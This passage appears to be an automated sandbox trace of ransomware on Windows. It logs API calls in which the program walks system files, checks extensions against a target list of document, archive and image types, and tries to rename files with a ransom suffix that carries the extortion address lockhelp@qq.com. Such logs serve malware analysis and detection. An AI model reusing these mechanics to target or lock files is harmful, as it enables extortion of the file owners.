(lpString1=".xml", lpString2=".gate") returned 1 [0274.438] lstrlenW (lpString="kor-kor.xml") returned 11 [0274.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.449] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=392) returned 1 [0274.449] CloseHandle (hObject=0x390) returned 1 [0274.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0274.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.450] lstrlenW (lpString=".doc") returned 4 [0274.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString=".docx") returned 5 [0274.450] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0274.450] lstrlenW (lpString=".pdf") returned 4 [0274.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString=".xls") returned 4 [0274.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString=".xlsx") returned 5 [0274.450] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0274.450] lstrlenW (lpString=".ppt") returned 4 [0274.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.450] lstrlenW (lpString=".zip") returned 4 [0274.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.450] lstrlenW (lpString=".rar") returned 4 [0274.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString=".bz2") returned 4 [0274.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString=".7z") returned 3 [0274.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.450] lstrlenW (lpString=".dbf") returned 4 [0274.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.450] lstrlenW (lpString=".1cd") returned 4 [0274.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".jpg") returned 4 [0274.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".doc") returned 4 [0274.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString=".docx") returned 5 [0274.451] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0274.451] lstrlenW (lpString=".pdf") returned 4 [0274.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString=".xls") returned 4 [0274.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString=".xlsx") returned 5 [0274.451] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0274.451] lstrlenW (lpString=".ppt") returned 4 [0274.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".zip") returned 4 [0274.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.451] lstrlenW (lpString=".rar") returned 4 [0274.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString=".bz2") returned 4 [0274.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString=".7z") returned 3 [0274.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".dbf") returned 4 [0274.451] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".1cd") returned 4 [0274.451] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0274.451] lstrlenW (lpString=".jpg") returned 4 [0274.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.452] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.452] lstrlenW (lpString="base_altgr.xml") returned 14 [0274.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0275.400] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3524) returned 1 [0275.400] CloseHandle (hObject=0x3bc) returned 1 [0275.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0275.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.450] lstrlenW (lpString=".doc") returned 4 [0275.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString=".docx") returned 5 [0275.450] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.450] lstrlenW (lpString=".pdf") returned 4 [0275.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString=".xls") returned 4 [0275.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString=".xlsx") returned 5 [0275.450] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.450] lstrlenW (lpString=".ppt") returned 4 [0275.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.450] lstrlenW (lpString=".zip") returned 4 [0275.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.450] lstrlenW (lpString=".rar") returned 4 [0275.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString=".bz2") returned 4 [0275.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.450] lstrlenW (lpString=".7z") returned 3 [0275.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString=".dbf") returned 4 [0275.451] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString=".1cd") returned 4 [0275.451] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString=".jpg") returned 4 [0275.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString=".doc") returned 4 [0275.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString=".docx") returned 5 [0275.451] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.451] lstrlenW (lpString=".pdf") returned 4 [0275.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString=".xls") returned 4 [0275.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString=".xlsx") returned 5 [0275.451] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.451] lstrlenW (lpString=".ppt") returned 4 [0275.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.451] lstrlenW (lpString=".zip") returned 4 [0275.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.451] lstrlenW (lpString=".rar") returned 4 [0275.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString=".bz2") returned 4 [0275.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.451] lstrlenW (lpString=".7z") returned 3 [0275.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.452] lstrlenW (lpString=".dbf") returned 4 [0275.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.452] lstrlenW (lpString=".1cd") returned 4 [0275.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0275.452] lstrlenW (lpString=".jpg") returned 4 [0275.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.452] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0275.452] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0275.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0275.568] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1100592) returned 1 [0275.568] CloseHandle (hObject=0x3b0) returned 1 [0275.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0275.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.568] lstrlenW (lpString=".doc") returned 4 [0275.569] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".docx") returned 5 [0275.569] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.569] lstrlenW (lpString=".pdf") returned 4 [0275.569] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".xls") returned 4 [0275.569] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".xlsx") returned 5 [0275.569] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.569] lstrlenW (lpString=".ppt") returned 4 [0275.569] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString=".zip") returned 4 [0275.569] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".rar") returned 4 [0275.569] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".bz2") returned 4 [0275.569] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.569] lstrlenW (lpString=".7z") returned 3 [0275.569] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString=".dbf") returned 4 [0275.569] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString=".1cd") returned 4 [0275.569] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString=".jpg") returned 4 [0275.569] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.569] lstrlenW (lpString=".doc") returned 4 [0275.569] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.569] lstrlenW (lpString=".docx") returned 5 [0275.570] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.570] lstrlenW (lpString=".pdf") returned 4 [0275.570] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString=".xls") returned 4 [0275.570] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString=".xlsx") returned 5 [0275.570] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.570] lstrlenW (lpString=".ppt") returned 4 [0275.570] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.570] lstrlenW (lpString=".zip") returned 4 [0275.570] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString=".rar") returned 4 [0275.570] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString=".bz2") returned 4 [0275.570] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.570] lstrlenW (lpString=".7z") returned 3 [0275.570] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.570] lstrlenW (lpString=".dbf") returned 4 [0275.570] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.570] lstrlenW (lpString=".1cd") returned 4 [0275.570] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0275.570] lstrlenW (lpString=".jpg") returned 4 [0275.570] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.570] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0275.570] lstrlenW (lpString="hwrusalm.dat") returned 12 [0275.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0275.656] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2515696) returned 1 [0275.656] CloseHandle (hObject=0x3ac) returned 1 [0275.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0275.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0275.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.657] lstrlenW (lpString=".doc") returned 4 [0275.657] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString=".docx") returned 5 [0275.657] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.657] lstrlenW (lpString=".pdf") returned 4 [0275.657] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString=".xls") returned 4 [0275.657] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString=".xlsx") returned 5 [0275.657] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.657] lstrlenW (lpString=".ppt") returned 4 [0275.657] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.657] lstrlenW (lpString=".zip") returned 4 [0275.657] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString=".rar") returned 4 [0275.657] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString=".bz2") returned 4 [0275.657] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.657] lstrlenW (lpString=".7z") returned 3 [0275.657] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.657] lstrlenW (lpString=".dbf") returned 4 [0275.657] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".1cd") returned 4 [0275.658] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".jpg") returned 4 [0275.658] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".doc") returned 4 [0275.658] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString=".docx") returned 5 [0275.658] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.658] lstrlenW (lpString=".pdf") returned 4 [0275.658] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString=".xls") returned 4 [0275.658] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString=".xlsx") returned 5 [0275.658] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.658] lstrlenW (lpString=".ppt") returned 4 [0275.658] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".zip") returned 4 [0275.658] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString=".rar") returned 4 [0275.658] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString=".bz2") returned 4 [0275.658] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.658] lstrlenW (lpString=".7z") returned 3 [0275.658] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".dbf") returned 4 [0275.658] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.658] lstrlenW (lpString=".1cd") returned 4 [0275.659] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0275.659] lstrlenW (lpString=".jpg") returned 4 [0275.659] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.659] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.659] lstrlenW (lpString="ipscat.xml") returned 10 [0275.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0275.659] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2592) returned 1 [0275.659] CloseHandle (hObject=0x3ac) returned 1 [0275.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0275.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.659] lstrlenW (lpString=".doc") returned 4 [0275.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString=".docx") returned 5 [0275.660] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0275.660] lstrlenW (lpString=".pdf") returned 4 [0275.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString=".xls") returned 4 [0275.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString=".xlsx") returned 5 [0275.660] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0275.660] lstrlenW (lpString=".ppt") returned 4 [0275.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.660] lstrlenW (lpString=".zip") returned 4 [0275.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.660] lstrlenW (lpString=".rar") returned 4 [0275.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString=".bz2") returned 4 [0275.660] lstrcmpiW 